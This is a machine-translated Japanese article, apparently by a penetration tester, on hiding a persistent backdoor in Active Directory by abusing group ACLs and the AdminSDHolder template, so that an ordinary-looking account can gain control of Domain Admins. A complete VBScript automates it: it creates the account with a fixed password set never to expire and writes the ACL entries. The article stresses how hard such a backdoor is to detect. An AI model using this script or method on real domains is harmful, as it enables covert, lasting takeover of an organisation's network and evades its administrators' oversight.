1.アカウントの検出と妨げられない削除(著者[ 1 ]の逆保証にもかかわらず)。
 
      2. Active Directoryからトレースを削除します。
 
       
       
       
      つまり 提案されたアプローチは実際には機能しません。 しかし、この方法のより適切な代替案があるかもしれません(ドメインコントローラーでルートキットを使用しないことを含む:))?
私の活動は侵入テストの実施に直接関係しているという事実のため、この質問はしばらくの間頭の中にありました。 そして彼は、企業の管理者のままで情報システムへの影響を最小限に抑えるという条件を満たしながら、私の仕事の1つで長い間気付かれないようにする必要がなくなった点に変わりました。
探偵小説の有名な作家が言ったように:
-シートを隠すのに最適な場所はどこですか?
-秋の森で!
「石を隠すのに最適な場所はどこですか?」
-海岸で!
「そして死体を隠すのに最適な場所はどこですか?」
- 戦いの場に。
ドメインディレクトリとの類似点を描くと、次の戦略を順守できます。
-バックドア識別子を非表示にするのではなく、他のユーザー識別子が大量に蓄積された同じコンテナに保持することをお勧めします。 同時に、作成される識別子は、最も一般的な企業アカウントにできるだけ類似している必要があります。
-バックドア識別子は、ドメイン内の拡張特権を持つグループのメンバーであってはなりません。 これを行うには、次の図に示すように、アクセス制御機能を使用することをお勧めします。
 
      -ドメイン内で拡張された権限を持つグループのアクセス制御リストでも、ユーザーのバックドア識別子を「シャイン」することは完全に賢明ではありません。 より合理的なアプローチは、ドメイン内の拡張された特権を持つグループのアクセス制御リストに既にACLのメンバーであるセキュリティグループに特権を拡張することです。 これらの目的には、「ビルトイン\ターミナルサーバーライセンスサーバー」グループが適しています。
 
      したがって、上記のシナリオに従ってバックドアを効果的に作成するには、以下が必要です。
1.目立たないユーザーを取得します。
2.このユーザーが「ビルトイン\ターミナルサーバーライセンスサーバー」グループのメンバーのリストを変更できるようにします。
3.「ビルトイン\ターミナルサーバーライセンスサーバー」グループにグループメンバーのリスト(「Domain Admins」など)の変更を許可します。
ここでは、小さなニュアンスに注目する価値があります。 Domain Adminsグループのアクセス制御リストを変更することはできません。 実際、Active Directoryアーキテクチャは、次のような最も機密性の高いオブジェクト(adminSDHolder、[ 2 ])のアクセス制御リストを保護します。
-エンタープライズ管理者
-スキーマ管理者
- ドメイン管理者
-管理者
-ドメインコントローラー
-証明書発行者
-バックアップオペレーター
-レプリケーターサーバーオペレーター
-アカウントオペレーター
-印刷オペレーター
1時間ごとに上書きされない上記グループのアクセス制御リストを変更するには、オブジェクト「CN = AdminSDHolder、CN = System」のテンプレートアクセス制御リストを変更するか、目的のオブジェクトの「adminCount」属性をゼロに設定する必要があります[ 3 ]。 テンプレートのアクセス制御リストを書き換えることは、私にとってより有望なようです すべての管理者がActive Directoryのこの「保護」メカニズムに精通しているわけではありません。
Active Directoryでブックマークを自動化するには、以下のスクリプトを使用できます。
On Error Resume Next 
      
        
        
        
      
     
      
        
        
        
      
     '     
      
        
        
        
      
     username = "PT" 
      
        
        
        
      
     password = "P@ssw0rd" 
      
        
        
        
      
     
      
        
        
        
      
     '  ,      
      
        
        
        
      
     userDN = "cn=Users" 
      
        
        
        
      
     
      
        
        
        
      
     ' ,     ACLs  Domain Admins 
      
        
        
        
      
     joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin" 
      
        
        
        
      
     joinGroup = "BUILTIN\Terminal Server License Servers" 
      
        
        
        
      
     
      
        
        
        
      
     '   
      
        
        
        
      
     adminsGroup = "CN=Domain Admins,CN=Users" 
      
        
        
        
      
     
      
        
        
        
      
     Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN 
      
        
        
        
      
     Set objSysInfo = CreateObject("ADSystemInfo") 
      
        
        
        
      
     strUserDN = objSysInfo.userName 
      
        
        
        
      
     Set objUser = GetObject("LDAP://" & strUserDN) 
      
        
        
        
      
     
      
        
        
        
      
     Set objRoot = GetObject("LDAP://rootDSE") 
      
        
        
        
      
     Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext")) 
      
        
        
        
      
     
      
        
        
        
      
     '   
      
        
        
        
      
     Set objUserCreate = objContainer.Create("User", "cn=" & username) 
      
        
        
        
      
     objUserCreate.Put "sAMAccountName", username 
      
        
        
        
      
     objUserCreate.SetInfo 
      
        
        
        
      
     On Error Resume Next 
      
        
        
        
      
     
      
        
        
        
      
     '  ,     ;) 
      
        
        
        
      
     objUserCreate.SetPassword password 
      
        
        
        
      
     objUserCreate.Put "userAccountControl", 66048 
      
        
        
        
      
     objUserCreate.SetInfo 
      
        
        
        
      
     On Error Resume Next 
      
        
        
        
      
     
      
        
        
        
      
     '        Terminal Server License Servers 
      
        
        
        
      
     GroupAddAce joinGroupDN,username 
      
        
        
        
      
     
      
        
        
        
      
     '    Terminal Server License Servers     Domain Admins 
      
        
        
        
      
     GroupAddAce adminsGroup,joinGroup 
      
        
        
        
      
     
      
        
        
        
      
     '  ""   ACL     
      
        
        
        
      
     GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup 
      
        
        
        
      
     
      
        
        
        
      
     Function GroupAddAce(toGroup,forGroup) 
      
        
        
        
      
     Dim objSdUtil, objSD, objDACL, objAce 
      
        
        
        
      
     Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext")) 
      
        
        
        
      
     
      
        
        
        
      
     Set objSdUtil = GetObject(objGroup.ADsPath) 
      
        
        
        
      
     Set objSD = objSdUtil.Get("ntSecurityDescriptor") 
      
        
        
        
      
     Set objDACL = objSD.DiscretionaryACL 
      
        
        
        
      
     Set objAce = CreateObject("AccessControlEntry") 
      
        
        
        
      
     
      
        
        
        
      
     objAce.Trustee = forGroup 
      
        
        
        
      
     objAce.AceFlags = 0 
      
        
        
        
      
     objAce.AceType = 5 
      
        
        
        
      
     objAce.AccessMask = 32 
      
        
        
        
      
     objAce.Flags = 1 
      
        
        
        
      
     objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}" 
      
        
        
        
      
     objDacl.AddAce objAce 
      
        
        
        
      
     
      
        
        
        
      
     objSD.DiscretionaryAcl = objDacl 
      
        
        
        
      
     objSDUtil.Put "ntSecurityDescriptor", Array(objSD) 
      
        
        
        
      
     objSDUtil.SetInfo 
      
        
        
        
      
     
      
        
        
        
      
     End Function 
      
        
        
        
      
    
      
      追加する価値はありますが、その単純さにもかかわらず、継続的な自動制御の手段なしでそのようなブックマークを見つけることは非常に困難です。 また、アイデアを発展させるために、たとえば、ドメインコントローラーなどを含むOUのグループポリシーをユーザーが管理できるようにするなど、より複雑なブックマークを考えることもできます。